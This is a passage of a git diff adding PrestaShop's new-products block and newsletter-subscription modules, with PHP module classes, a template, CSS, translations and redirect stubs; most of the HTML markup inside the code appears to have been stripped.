b/modules/blocknewproducts/blocknewproducts.php new file mode 100755 index 0000000..398ea29 --- /dev/null +++ b/modules/blocknewproducts/blocknewproducts.php @@ -0,0 +1,122 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockNewProducts extends Module +{ + public function __construct() + { + $this->name = 'blocknewproducts'; + $this->tab = 'front_office_features'; + $this->version = 0.9; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('New products block'); + $this->description = $this->l('Displays a block featuring your store\'s newest products.'); + } + + public function install() + { + if (parent::install() == false || $this->registerHook('rightColumn') == false || $this->registerHook('header') == false || Configuration::updateValue('NEW_PRODUCTS_NBR', 5) == false) + return false; + return true; + } + + public function getContent() + { + $output = '

        '.$this->displayName.'

        '; + if (Tools::isSubmit('submitBlockNewProducts')) + { + if (!($productNbr = Tools::getValue('productNbr')) || empty($productNbr)) + $output .= '
        '.$this->l('Please complete the "products to display" field.').'
        '; + elseif ((int)($productNbr) == 0) + $output .= '
        '.$this->l('Invalid number.').'
        '; + else + { + Configuration::updateValue('PS_BLOCK_NEWPRODUCTS_DISPLAY', (int)(Tools::getValue('always_display'))); + Configuration::updateValue('NEW_PRODUCTS_NBR', (int)($productNbr)); + $output .= '
        '.$this->l('Settings updated').'
        '; + } + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + $output = ' +
        +
        '.$this->l('Settings').' + +
        + +

        '.$this->l('Define the number of products to be displayed in this block.').'

        +
        + +
        + + + + +

        '.$this->l('Show the block even if no products are available.').'

        +
        +
        +
        +
        '; + return $output; + } + + public function hookRightColumn($params) + { + $newProducts = Product::getNewProducts((int)($params['cookie']->id_lang), 0, (int)(Configuration::get('NEW_PRODUCTS_NBR'))); + if (!$newProducts && !Configuration::get('PS_BLOCK_NEWPRODUCTS_DISPLAY')) + return; + + $this->smarty->assign(array( + 'new_products' => $newProducts, + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + )); + + return $this->display(__FILE__, 'blocknewproducts.tpl'); + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blocknewproducts.css', 'all'); + } + +} + + diff --git a/modules/blocknewproducts/blocknewproducts.tpl b/modules/blocknewproducts/blocknewproducts.tpl new file mode 100755 index 0000000..193ad41 --- /dev/null +++ b/modules/blocknewproducts/blocknewproducts.tpl @@ -0,0 +1,50 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='New products' mod='blocknewproducts'}

        +
        + {if $new_products !== false} +
          + {foreach from=$new_products item='product' name='newProducts'} + {if $smarty.foreach.newProducts.index < 2} + {$product.legend|escape:html:'UTF-8'} + {/if} + {/foreach} +
        +
        + {foreach from=$new_products item=newproduct name=myLoop} +
        {$newproduct.name|strip_tags|escape:html:'UTF-8'}
        + {if $newproduct.description_short}
        {$newproduct.description_short|strip_tags:'UTF-8'|truncate:75:'...'}
        {l s='Read more' mod='blocknewproducts'}
        {/if} + {/foreach} +
        +

        » {l s='All new products' mod='blocknewproducts'}

        + {else} +

        » {l s='Do not allow new products at this time.' mod='blocknewproducts'}

        + {/if} +
        +
        + diff --git a/modules/blocknewproducts/img/arrow_right_1.png b/modules/blocknewproducts/img/arrow_right_1.png new file mode 100755 index 0000000..7c3d29b Binary files /dev/null and b/modules/blocknewproducts/img/arrow_right_1.png differ diff --git a/modules/blocknewproducts/img/index.php b/modules/blocknewproducts/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewproducts/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewproducts/index.php b/modules/blocknewproducts/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewproducts/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewproducts/logo.gif b/modules/blocknewproducts/logo.gif new file mode 100755 index 0000000..f310c6b Binary files /dev/null and b/modules/blocknewproducts/logo.gif differ diff --git a/modules/blocknewproducts/logo.png b/modules/blocknewproducts/logo.png new file mode 100755 index 0000000..91eb8f8 Binary files /dev/null and b/modules/blocknewproducts/logo.png differ diff --git a/modules/blocknewproducts/translations/en.php b/modules/blocknewproducts/translations/en.php new file mode 100755 index 0000000..c94cc79 --- /dev/null +++ b/modules/blocknewproducts/translations/en.php @@ -0,0 +1,6 @@ +blocknewproducts_2bc4c1efe10bba9f03fac3c59b4d2ae9'] = 'Do not allow new products at this time.'; diff --git a/modules/blocknewproducts/translations/fr.php b/modules/blocknewproducts/translations/fr.php new file mode 100755 index 0000000..2f6f431 --- /dev/null +++ b/modules/blocknewproducts/translations/fr.php @@ -0,0 +1,23 @@ +blocknewproducts_f7c34fc4a48bc683445c1e7bbc245508'] = 'Bloc nouveaux produits'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_d3ee346c7f6560faa13622b6fef26f96'] = 'Ajoute un bloc proposant les derniers produits ajoutés.'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_1cd777247f2a6ed79534d4ace72d78ce'] = 'Vous devez remplir le champ \"produit affiché\".'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_73293a024e644165e9bf48f270af63a0'] = 'Nombre non valable.'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_9f6f59f676f90cf034870f3bcce96188'] = 'Produits affichés'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_3ea7689283770958661c27c37275b89c'] = 'Détermine le nombre de produits à afficher dans ce bloc'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_41385d2dca40c2a2c7062ed7019a20be'] = 'Toujours afficher ce bloc'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_53d61d1ac0507b1bd8cd99db8d64fb19'] = 'Afficher le bloc même si aucun produit n\'est disponible.'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_9ff0635f5737513b1a6f559ac2bff745'] = 'Nouveaux produits'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_43340e6cc4e88197d57f8d6d5ea50a46'] = 'Lire plus'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_60efcc704ef1456678f77eb9ee20847b'] = 'Tous les nouveaux produits'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_18cc24fb12f89c839ab890f8188febe8'] = 'Aucun nouveau produit à l\'heure actuelle'; +$_MODULE['<{blocknewproducts}prestashop>blocknewproducts_2bc4c1efe10bba9f03fac3c59b4d2ae9'] = 'Aucun nouveau produit à l\'heure actuelle'; diff --git a/modules/blocknewproducts/translations/index.php b/modules/blocknewproducts/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewproducts/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/blocknewsletter.css b/modules/blocknewsletter/blocknewsletter.css new file mode 100755 index 0000000..8928dd1 --- /dev/null +++ b/modules/blocknewsletter/blocknewsletter.css @@ -0,0 +1,56 @@ +/* Block newsletter */ +#newsletter_block_left { + padding:7px; + border:1px solid #ccc; + background:#eee; +} +#newsletter_block_left .title_block, #newsletter_block_left h4 { + padding:0 0 12px 28px; + color:#666; + text-shadow:0 1px 0 #fff; + background:url(img/icon/newsletter.png) no-repeat 0 0 transparent; +} +#newsletter_block_left p {padding:0;} + +#newsletter_block_left p.success_inline { + color: #418B19; + text-align: center; + font-weight: bold; +} +#newsletter_block_left p.warning_inline { + color: #DA0F00; + text-align: center; + font-weight: bold; +} + +#newsletter_block_left input.inputNew { + position: relative; + top: -1px; + padding:0 5px; + height:20px; + width:148px; + border:1px solid #ccc; + border-right:none; + -moz-border-radius-topleft: 3px; + -moz-border-radius-bottomleft: 3px; + -webkit-border-radius-topleft: 3px; + -webkit-border-radius-bottomleft: 3px; + border-top-left-radius: 3px; + border-bottom-left-radius: 3px; + font-size:10px; + color:#999; +} +*:first-child+html #newsletter_block_left input.inputNew {position:static;}/* hack ie 7 */ + +#newsletter_block_left input.button_mini { + position:relative; + left:-2px; + height:23px; + width:24px; + border:0; + text-indent:-5000px; + background:url(img/bg_bt_newsletter_ok.png) no-repeat 0 0; + cursor:pointer +} +*:first-child+html #newsletter_block_left input.button_mini {padding-left:24px !important;}/* hack ie 7 */ + diff --git a/modules/blocknewsletter/blocknewsletter.php b/modules/blocknewsletter/blocknewsletter.php new file mode 100755 index 0000000..f93b83f --- /dev/null +++ b/modules/blocknewsletter/blocknewsletter.php @@ -0,0 +1,531 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Blocknewsletter extends Module +{ + const GUEST_NOT_REGISTERED = -1; + const CUSTOMER_NOT_REGISTERED = 0; + const GUEST_REGISTERED = 1; + const CUSTOMER_REGISTERED = 2; + + public function __construct() + { + $this->name = 'blocknewsletter'; + $this->tab = 'front_office_features'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Newsletter block'); + $this->description = $this->l('Adds a block for newsletter subscription.'); + $this->confirmUninstall = $this->l('Are you sure that you want to delete all of your contacts?'); + + $this->version = '1.4'; + $this->author = 'PrestaShop'; + $this->error = false; + $this->valid = false; + $this->_files = array( + 'name' => array('newsletter_conf', 'newsletter_voucher'), + 'ext' => array( + 0 => 'html', + 1 => 'txt' + ) + ); + } + + public function install() + { + if (parent::install() == false || $this->registerHook('top') == false || $this->registerHook('header') == false) + return false; + + Configuration::updateValue('NW_SALT', Tools::passwdGen(16)); + + return Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'newsletter` ( + `id` int(6) NOT NULL AUTO_INCREMENT, + `id_shop` INTEGER UNSIGNED NOT NULL DEFAULT \'1\', + `id_shop_group` INTEGER UNSIGNED NOT NULL DEFAULT \'1\', + `email` varchar(255) NOT NULL, + `newsletter_date_add` DATETIME NULL, + `ip_registration_newsletter` varchar(15) NOT NULL, + `http_referer` VARCHAR(255) NULL, + `active` TINYINT(1) NOT NULL DEFAULT \'0\', + PRIMARY KEY(`id`) + ) ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8'); + } + + public function uninstall() + { + if (!parent::uninstall()) + return false; + return Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'newsletter'); + } + + public function getContent() + { + $this->_html = '

        '.$this->displayName.'

        '; + + if (Tools::isSubmit('submitUpdate')) + { + if (isset($_POST['new_page']) && Validate::isBool((int)$_POST['new_page'])) + Configuration::updateValue('NW_CONFIRMATION_NEW_PAGE', $_POST['new_page']); + + if (isset($_POST['conf_email']) && Validate::isBool((int)$_POST['conf_email'])) + Configuration::updateValue('NW_CONFIRMATION_EMAIL', pSQL($_POST['conf_email'])); + + if (isset($_POST['verif_email']) && Validate::isBool((int)$_POST['verif_email'])) + Configuration::updateValue('NW_VERIFICATION_EMAIL', (int)$_POST['verif_email']); + + if (!empty($_POST['voucher']) && !Validate::isDiscountName($_POST['voucher'])) + $this->_html .= '
        '.$this->l('The coucher code is invalid.').'
        '; + else + { + Configuration::updateValue('NW_VOUCHER_CODE', pSQL($_POST['voucher'])); + $this->_html .= '
        '.$this->l('Updated').'
        '; + } + } + return $this->_displayForm(); + } + + private function _displayForm() + { + $this->_html .= ' +
        +
        + '.$this->l('Settings').' + +
        + '.$this->l('Yes').' + '.$this->l('No').' +
        +
        + +
        + '.$this->l('Yes').' + '.$this->l('No').' +
        +
        + +
        + '.$this->l('Yes').' + '.$this->l('No').' +
        +
        + +
        + +

        '.$this->l('Leave blank to disable by default.').'

        +
        +
        +
        +
        '; + + return $this->_html; + } + + /** + * Check if this mail is registered for newsletters + * + * @param unknown_type $customerEmail + * @return int -1 = not a customer and not registered + * 0 = customer not registered + * 1 = registered in block + * 2 = registered in customer + */ + private function isNewsletterRegistered($customerEmail) + { + $sql = 'SELECT `email` + FROM '._DB_PREFIX_.'newsletter + WHERE `email` = \''.pSQL($customerEmail).'\' + AND id_shop = '.$this->context->shop->id; + + if (Db::getInstance()->getRow($sql)) + return self::GUEST_REGISTERED; + + $sql = 'SELECT `newsletter` + FROM '._DB_PREFIX_.'customer + WHERE `email` = \''.pSQL($customerEmail).'\' + AND id_shop = '.$this->context->shop->id; + + if (!$registered = Db::getInstance()->getRow($sql)) + return self::GUEST_NOT_REGISTERED; + + if ($registered['newsletter'] == '1') + return self::CUSTOMER_REGISTERED; + + return self::CUSTOMER_NOT_REGISTERED; + } + + /** + * Register in block newsletter + */ + private function newsletterRegistration() + { + if (empty($_POST['email']) || !Validate::isEmail($_POST['email'])) + return $this->error = $this->l('Invalid email address'); + + /* Unsubscription */ + else if ($_POST['action'] == '1') + { + $register_status = $this->isNewsletterRegistered($_POST['email']); + if ($register_status < 1) + return $this->error = $this->l('This email address is not registered.'); + else if ($register_status == self::GUEST_REGISTERED) + { + if (!Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'newsletter WHERE `email` = \''.pSQL($_POST['email']).'\' AND id_shop = '.$this->context->shop->id)) + return $this->error = $this->l('An error occurred while attempting to unsubscribe.'); + return $this->valid = $this->l('Unsubscription successful'); + } + else if ($register_status == self::CUSTOMER_REGISTERED) + { + if (!Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'customer SET `newsletter` = 0 WHERE `email` = \''.pSQL($_POST['email']).'\' AND id_shop = '.$this->context->shop->id)) + return $this->error = $this->l('An error occurred while attempting to unsubscribe.'); + return $this->valid = $this->l('Nous avons bien pris en compte votre demande de désinscription à la Newsletter Garancia.'); + } + } + /* Subscription */ + else if ($_POST['action'] == '0') + { + $register_status = $this->isNewsletterRegistered($_POST['email']); + /*if ($register_status > 0) + return $this->error = $this->l('This email address is already registered.');*/ + + $email = pSQL($_POST['email']); + if (!$this->isRegistered($register_status)) + { + if (Configuration::get('NW_VERIFICATION_EMAIL')) + { + // create an unactive entry in the newsletter database + if ($register_status == self::GUEST_NOT_REGISTERED) + $this->registerGuest($email, false); + + if (!$token = $this->getToken($email, $register_status)) + return $this->error = $this->l('An error occurred during the subscription process.'); + + $this->sendVerificationEmail($email, $token); + + return $this->valid = $this->l('A verification email has been sent. Please check your inbox.'); + } + else + { + if ($this->register($email, $register_status)) + $this->valid = $this->l('You have successfully subscribed to this newsletter.'); + else + return $this->error = $this->l('An error occurred during the subscription process.'); + + if ($code = Configuration::get('NW_VOUCHER_CODE')) + $this->sendVoucher($email, $code); + + if (Configuration::get('NW_CONFIRMATION_EMAIL')) + $this->sendConfirmationEmail($email); + } + } + } + } + + /** + * Return true if the registered status correspond to a registered user + * @param int $register_status + * @return bool + */ + protected function isRegistered($register_status) + { + return in_array( + $register_status, + array(self::GUEST_REGISTERED, self::CUSTOMER_REGISTERED) + ); + } + + + /** + * Subscribe an email to the newsletter. It will create an entry in the newsletter table + * or update the customer table depending of the register status + * + * @param unknown_type $email + * @param unknown_type $register_status + */ + protected function register($email, $register_status) + { + if ($register_status == self::GUEST_NOT_REGISTERED) + { + if (!$this->registerGuest(Tools::getValue('email'))) + return false; + } + else if ($register_status == self::CUSTOMER_NOT_REGISTERED) + { + if (!$this->registerUser(Tools::getValue('email'))) + return false; + } + + return true; + } + + /** + * Subscribe a customer to the newsletter + * + * @param string $email + * @return bool + */ + protected function registerUser($email) + { + $sql = 'UPDATE '._DB_PREFIX_.'customer + SET `newsletter` = 1, newsletter_date_add = NOW(), `ip_registration_newsletter` = \''.pSQL(Tools::getRemoteAddr()).'\' + WHERE `email` = \''.pSQL($email).'\' + AND id_shop = '.$this->context->shop->id; + + return Db::getInstance()->execute($sql); + } + + /** + * Subscribe a guest to the newsletter + * + * @param string $email + * @param bool $active + * @return bool + */ + protected function registerGuest($email, $active = true) + { + $sql = 'INSERT INTO '._DB_PREFIX_.'newsletter (id_shop, id_shop_group, email, newsletter_date_add, ip_registration_newsletter, http_referer, active, id_lang) + VALUES + ('.$this->context->shop->id.', + '.$this->context->shop->id_shop_group.', + \''.pSQL($email).'\', + NOW(), + \''.pSQL(Tools::getRemoteAddr()).'\', + ( + SELECT c.http_referer + FROM '._DB_PREFIX_.'connections c + WHERE c.id_guest = '.(int)$this->context->customer->id.' + ORDER BY c.date_add DESC LIMIT 1 + ), + '.(int)$active.', + '.$this->context->language->id.' + )'; + + return Db::getInstance()->execute($sql); + } + + + public function activateGuest($email) + { + return Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'newsletter` + SET `active` = 1 + WHERE `email` = \''.pSQL($email).'\'' + ); + } + + /** + * Returns a guest email by token + * @param string $token + * @return string email + */ + protected function getGuestEmailByToken($token) + { + $sql = 'SELECT `email` + FROM `'._DB_PREFIX_.'newsletter` + WHERE MD5(CONCAT( `email` , `newsletter_date_add`, \''.pSQL(Configuration::get('NW_SALT')).'\')) = \''.pSQL($token).'\' + AND `active` = 0'; + + return Db::getInstance()->getValue($sql); + } + + /** + * Returns a customer email by token + * @param string $token + * @return string email + */ + protected function getUserEmailByToken($token) + { + $sql = 'SELECT `email` + FROM `'._DB_PREFIX_.'customer` + WHERE MD5(CONCAT( `email` , `date_add`, \''.pSQL(Configuration::get('NW_SALT')).'\')) = \''.pSQL($token).'\' + AND `newsletter` = 0'; + + return Db::getInstance()->getValue($sql); + } + + /** + * Return a token associated to an user + * + * @param string $email + * @param string $register_status + */ + protected function getToken($email, $register_status) + { + if (in_array($register_status, array(self::GUEST_NOT_REGISTERED, self::GUEST_REGISTERED))) + { + $sql = 'SELECT MD5(CONCAT( `email` , `newsletter_date_add`, \''.pSQL(Configuration::get('NW_SALT')).'\')) as token + FROM `'._DB_PREFIX_.'newsletter` + WHERE `active` = 0 + AND `email` = \''.pSQL($email).'\''; + } + else if ($register_status == self::CUSTOMER_NOT_REGISTERED) + { + $sql = 'SELECT MD5(CONCAT( `email` , `date_add`, \''.pSQL(Configuration::get('NW_SALT')).'\' )) as token + FROM `'._DB_PREFIX_.'customer` + WHERE `newsletter` = 0 + AND `email` = \''.pSQL($email).'\''; + } + + return Db::getInstance()->getValue($sql); + } + + /** + * Ends the registration process to the newsletter + * + * @param string $token + */ + public function confirmEmail($token) + { + $activated = false; + + if ($email = $this->getGuestEmailByToken($token)) + $activated = $this->activateGuest($email); + else if ($email = $this->getUserEmailByToken($token)) + $activated = $this->registerUser($email); + + if (!$activated) + return $this->l('This email is already registered and/or invalid.'); + + if ($discount = Configuration::get('NW_VOUCHER_CODE')) + $this->sendVoucher($email, $discount); + + if (Configuration::get('NW_CONFIRMATION_EMAIL')) + $this->sendConfirmationEmail($email); + + return $this->l('Thank you for subscribing to our newsletter.'); + } + + /** + * Send the confirmation mails to the given $email address if needed. + * + * @param string $email Email where to send the confirmation + * + * @note the email has been verified and might not yet been registered. Called by AuthController::processCustomerNewsletter + * + */ + public function confirmSubscription($email) + { + if ($email) + { + if ($discount = Configuration::get('NW_VOUCHER_CODE')) + $this->sendVoucher($email, $discount); + + if (Configuration::get('NW_CONFIRMATION_EMAIL')) + $this->sendConfirmationEmail($email); + } + } + + /** + * Send an email containing a voucher code + * @param string $email + * @param string $discount + * @return bool + */ + protected function sendVoucher($email, $code) + { + return Mail::Send($this->context->language->id, 'newsletter_voucher', Mail::l('Newsletter voucher', $this->context->language->id), array('{discount}' => $code), $email, null, null, null, null, null, dirname(__FILE__).'/mails/'); + } + + /** + * Send a confirmation email + * @param string $email + * @return bool + */ + protected function sendConfirmationEmail($email) + { + return Mail::Send($this->context->language->id, 'newsletter_conf', Mail::l('Newsletter confirmation', $this->context->language->id), array(), pSQL($email), null, null, null, null, null, dirname(__FILE__).'/mails/'); + } + + /** + * Send a verification email + * @param string $email + * @param string $token + * @return bool + */ + protected function sendVerificationEmail($email, $token) + { + $verif_url = Context::getContext()->link->getModuleLink('blocknewsletter', 'verification', array( + 'token' => $token, + )); + return Mail::Send($this->context->language->id, 'newsletter_verif', Mail::l('Email verification', $this->context->language->id), array('{verif_url}' => $verif_url), $email, null, null, null, null, null, dirname(__FILE__).'/mails/'); + } + + public function hookDisplayRightColumn($params) + { + return $this->hookDisplayLeftColumn($params); + } + + private function _prepareHook($params) + { + if (Tools::isSubmit('submitNewsletter')) + { + $this->newsletterRegistration(); + if ($this->error) + { + $this->smarty->assign(array('color' => 'red', + 'msg' => $this->error, + 'nw_value' => isset($_POST['email']) ? pSQL($_POST['email']) : false, + 'nw_error' => true, + 'action' => $_POST['action']) + ); + } + else if ($this->valid) + { + $this->smarty->assign(array('color' => 'green', + 'msg' => $this->valid, + 'nw_error' => false, + 'action' => $_POST['action']) + ); + } + } + $this->smarty->assign('this_path', $this->_path); + } + + public function hookDisplayLeftColumn($params) + { + $this->_prepareHook($params); + return $this->display(__FILE__, 'blocknewsletter.tpl'); + } + + public function hookTop($params) + { + return $this->hookDisplayLeftColumn($params); + } + public function hookFooter($params) + { + return $this->hookDisplayLeftColumn($params); + } + + public function hookDisplayHeader($params) + { + $this->context->controller->addCSS($this->_path.'blocknewsletter.css', 'all'); + $this->context->controller->addCSS($this->_path.'../blockpopupnewsletter/css/blockpopupnewsletter.css', 'all'); + } +} diff --git a/modules/blocknewsletter/controllers/front/index.php b/modules/blocknewsletter/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/controllers/front/verification.php b/modules/blocknewsletter/controllers/front/verification.php new file mode 100755 index 0000000..ac3f3fb --- /dev/null +++ b/modules/blocknewsletter/controllers/front/verification.php @@ -0,0 +1,52 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class BlocknewsletterVerificationModuleFrontController extends ModuleFrontController +{ + private $message = ''; + + /** + * @see FrontController::postProcess() + */ + public function postProcess() + { + $this->message = $this->module->confirmEmail(Tools::getValue('token')); + } + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->context->smarty->assign('message', $this->message); + $this->setTemplate('verification_execution.tpl'); + } +} diff --git a/modules/blocknewsletter/controllers/index.php b/modules/blocknewsletter/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/img/bg_bt_newsletter_ok.png b/modules/blocknewsletter/img/bg_bt_newsletter_ok.png new file mode 100755 index 0000000..1462a19 Binary files /dev/null and b/modules/blocknewsletter/img/bg_bt_newsletter_ok.png differ diff --git a/modules/blocknewsletter/img/icon/index.php b/modules/blocknewsletter/img/icon/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/img/icon/newsletter.png b/modules/blocknewsletter/img/icon/newsletter.png new file mode 100755 index 0000000..2901122 Binary files /dev/null and b/modules/blocknewsletter/img/icon/newsletter.png differ diff --git a/modules/blocknewsletter/img/index.php b/modules/blocknewsletter/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/index.php b/modules/blocknewsletter/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/logo.gif b/modules/blocknewsletter/logo.gif new file mode 100755 index 0000000..06dd879 Binary files /dev/null and b/modules/blocknewsletter/logo.gif differ diff --git a/modules/blocknewsletter/logo.png b/modules/blocknewsletter/logo.png new file mode 100755 index 0000000..98a99c2 Binary files /dev/null and b/modules/blocknewsletter/logo.png differ diff --git a/modules/blocknewsletter/mails/en/index.php b/modules/blocknewsletter/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y 